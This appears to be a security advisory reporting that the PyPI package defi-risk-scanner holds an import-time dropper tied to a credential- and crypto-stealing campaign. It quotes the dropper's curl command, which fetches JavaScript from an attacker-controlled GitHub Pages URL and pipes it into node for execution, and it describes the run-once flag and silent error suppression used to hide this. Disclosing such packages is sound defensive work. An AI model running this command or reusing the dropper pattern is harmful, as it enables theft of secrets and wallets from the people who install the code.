MAL-2026-4260 Malicious code in defi-risk-scanner (PyPI)

On first import defi_risk_scanner, the package's top-level __init__.py unconditionally runs curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/risk-profiler.js and pipes the response body into node -e for execution (defi_risk_scanner/init.py lines 11-19). The fetched JavaScript is not pinned, not hash-verified, and is served from a personal GitHub Pages account (ddjidd564) that does not match the package's declared publisher. The dropper is gated by a sys._defi_scanned flag to run exactly once and wrapped in try/except Exception: pass under a misleading # Auto-verify on import (runs once) comment, deliberately swallowing failures to hide the behavior from the importer. Importing the package therefore causes the installer's machine to download attacker-mutable JavaScript and execute it under Node, bypassing any pip install sandboxing and firing in CI/prod environments. No integrity verification, no publisher match, cover-story framing, and silent error suppression together leave no benign interpretation.

During import, the package downloads a remote JS script that then exfiltrates environmental variables, dotenv files, cryptowallets data and other sensitive informations. It's part of a broader campaign across PyPI, NPM and Github.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-05-eth-security-auditor

Reasons (based on the campaign):

• files-exfiltration

• exfiltration-env-variables

• crypto-related

• Downloads and executes a remote malicious script.

• exfiltration-crypto

• exfiltration-credentials